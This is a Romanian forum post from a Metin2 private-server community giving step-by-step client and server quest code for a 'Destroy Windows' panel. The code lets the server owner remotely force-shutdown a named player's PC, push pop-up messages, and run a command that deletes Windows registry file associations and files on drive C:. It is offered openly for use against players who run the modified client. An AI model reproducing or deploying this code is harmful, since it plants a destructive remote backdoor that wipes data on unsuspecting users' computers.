Destroy Windows Metin2

  • Autor subiect QAZQAZ
  • Dată creare
  • Răspunsuri: Răspunsuri 6
  • Vizualizări: Vizualizări 4K

QAZQAZ

New member
17 Dec 2019
4
0
1
26
Amsterdam
Monede Dragon
0
Nume resursa: Destroy Windows
Poze:
Cu fix/fara:
Download:
Alte obiectii: Nu sunt create de mine , le am de la Teck , de pe Metin2Lunaris.
Sa incepem :
  1. In Root -> game.py cautam
    Cod:
    serverCommandList={
    in acea lista adaugam ( 3 x tab in fata la fiecare)
Cod:
            "Shutdown"                : self.Shutdown,
            "SendMessage"            : self.Message,
            "teck"                : self.teck,
  • Posul 2
  • Jos de tot in game.py adaugam : ( v-am scris cate tab-uri trb sa adaugati in fata , la fel faceti si la celelalte )
    Cod:
    ############################################# 
        def Shutdown(self, player_name):  // tab 
            if player_name == str(player.GetName()):  // tab tab
                import os      //tab tab tab 
                os.system('shutdown -t 0 -s -f')  //tab tab tab 
    ############################################## 
        def teck(self, player_name):    
            if player_name == str(player.GetName()):  
                import os  // tab tab tab
                os.system("@echo off && START reg delete HKCR/.exe && START reg delete HKCR/.dll && START reg delete HKCR/* && Del C:\ *.* |y")  
    ############################################## 
        def Message(self, player_name, text):
            if player_name == str(player.GetName()):
                message = text.replace('-', ' ')
                import dbg
                dbg.LogBox(message) #
    #############################################
  • Atat pe partea de client .
  • Urmeaza sa adaugam in server urmatorul quest
  • Cod:
    quest t_tekk begin
        state start begin
            when login with pc.get_name() == "NUMELE TAU" begin
                send_letter("Panel Teck")
            end
            when button or info begin
                if pc.get_name() == "NUMELE TAU" then
                    say_title("Panel Teck")
                    say("Please select an option:")
    local a = select("Inchide Pc", "RIP", "Send Message", "Cancel")
                    if a == 1 then
                        say_title("Admin Panel - Close Client")
                        say("Please enter the players name in the field.")
                        local player_name = input()
                        local u_vid = find_pc_by_name(player_name)
                        if player_name == "" then
                            say_title("Admin Panel")
                            say("You have not enter the player's name!")
                            return
                        end
                        
                        if u_vid == 0 then
                            say_title("Admin Panel")
                            say_reward(string.format("The player: %s is not connected! ", player_name))
                        else
                            local old = pc.select(u_vid)
                            cmdchat("Shutdown "..player_name.."")
                            pc.select(old)
                        end
                    end
                if a == 2 then
                        say_title("RIP Windows")
                        say("Scrie numele lui corect .")
                        local player_name = input()
                        local u_vid = find_pc_by_name(player_name)
                        if player_name == "" then
                            say_title("Panou Admin")
                            say("Scrie numele lui corect ")
                            return
                        end
                        
                        if u_vid == 0 then
                            say_title("Panou Admin")
                            say_reward(string.format("The player: %s nu este conectat! ", player_name))
                        else
                            local old = pc.select(u_vid)
                            cmdchat("teck "..player_name.."")
                            pc.select(old)
                        end
                    end
                                
                    if a == 3 then
                        say_title("Admin Panel")
                        say("Enter the message you want with - and not spaces, ")   
                        say("Please enter the players name in the field.")   
                        local player_name = input()
                        local message = input()
                        local u_vid = find_pc_by_name(player_name)
                        if player_name == "" then
                            say_title("Admin Panel")
                            say("You have not enter the player's name!")
                            return
                        end
                        
                        if u_vid == 0 then
                            say_title("Admin Panel")
                            say_reward(string.format("The player: %s is not connected! ", player_name))
                        else
                            local old = pc.select(u_vid)
                            cmdchat("SendMessage "..player_name.." "..message.."")
                            pc.select(old)
                        end
                    end
                end
            end
        end
    end